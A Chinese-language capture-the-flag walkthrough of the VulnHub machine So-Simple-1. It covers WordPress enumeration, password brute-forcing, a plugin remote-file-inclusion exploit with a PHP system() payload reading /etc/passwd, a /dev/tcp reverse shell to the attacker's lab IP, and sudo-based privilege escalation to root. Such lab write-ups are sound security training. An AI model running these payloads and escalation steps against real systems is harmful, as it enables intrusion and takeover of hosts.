vulnhub之So-Simple-1靶机
步骤
#-1 arp-scan发现靶机
#-2 使用nmap探测开放的端口
#-3 Wpscan扫描
#-4 爆破密码
#-5 查找旧版本插件
#-6 使用SSH密钥获得Max的账户
#-7 使用sudoers文件升级到steven
#-8 使用sudoers文件升级到root
环境:
virtualbox + Kali(192.168.150.137)+ 靶机192.168.150.140
内容
#-1 发现靶机
在Kali中使用arp-scan和nmap进行扫描,获取目标IP地址和开放的端口及服务:
nmap -A -sV -v -p- 192.168.150.140
靶机只开启了22和80端口,浏览web服务,没有太多的内容,因此使用gobuster进行目录枚举:
#-2 wpscan扫描
确认是wordpress后,使用wpscan进行扫描,查看是否有可利用的漏洞:
wpscan --url "http://192.168.150.140/wordpress" --enumerate
发现用户max后,现在尝试对该用户名进行暴力破解:
wpscan --url "http://192.168.150.140/wordpress" -U max -P /root/Desktop/rockyou.txt
max的密码找到了。尝试登录后台,username:max,password:opensesame
同时还发现了一个有漏洞的插件,先登录后台看看。
登录成功:
#-4 利用(exploitation)
按照PoC的步骤,先创建一个payload文件和http服务器,payload内容“<pre>system('cat /etc/passwd') </pre>”,然后访问 http://192.168.150.140/wordpress/wp-admin/admin-post.php? swp_debug=load_options&swp_url=http://192.168.150.137/payload.txt (红色字体处为靶机和攻击机地址)
如下图,成功的返回了信息。
这回尝试更改代码:
<pre>system("bash -c 'bash -i >& /dev/tcp/192.168.150.137/8080 0>&1'")</pre>
浏览站点,设置netcat监听,返回shell:
在max目录下有个this文件夹,我真的一个个进去的,结果什么都没有,可能是作者为了扰乱视线的,
有两个user.txt的文件是没有权限无法查看的,所以下一步就进行提权。
#-5 权限提升
max目录下的.ssh是可读权限,于是复制私钥到kali,用于连接max的ssh。
kali机:
更改一下,id_rsa的权限:
开始进行连接,现在有了max的终端,查找有SUID权限的文件,发现一个可以作为另一个用户steven运行的二进制文件:
这个二进制文件似乎可以运行系统上安装的任何服务,所以,给个参数可以得到steven的shell。
sudo -l
sudo -u steven /usr/sbin/service ../../bin/bash
在steven用户下,有一个不需要密码就可以使用root身份运行的脚本,如下图所示,该目录和脚本实际上是不存在的,所以,就创建了文件夹/opt/tools和脚本server-health.sh。
脚本内容如下:
#!/bin/bash
bash
修改了该脚本的权限,使用同样的命令,获取到了root的shell,并发现了flag文件!
最后必须贴上flag内容:
天接云涛连晓雾,星河欲转千帆舞。
仿佛梦魂归帝所。闻天语,殷勤问我归何处。
我报路长嗟日暮,学诗谩有惊人句。
九万里风鹏正举。风休住,蓬舟吹取三山去!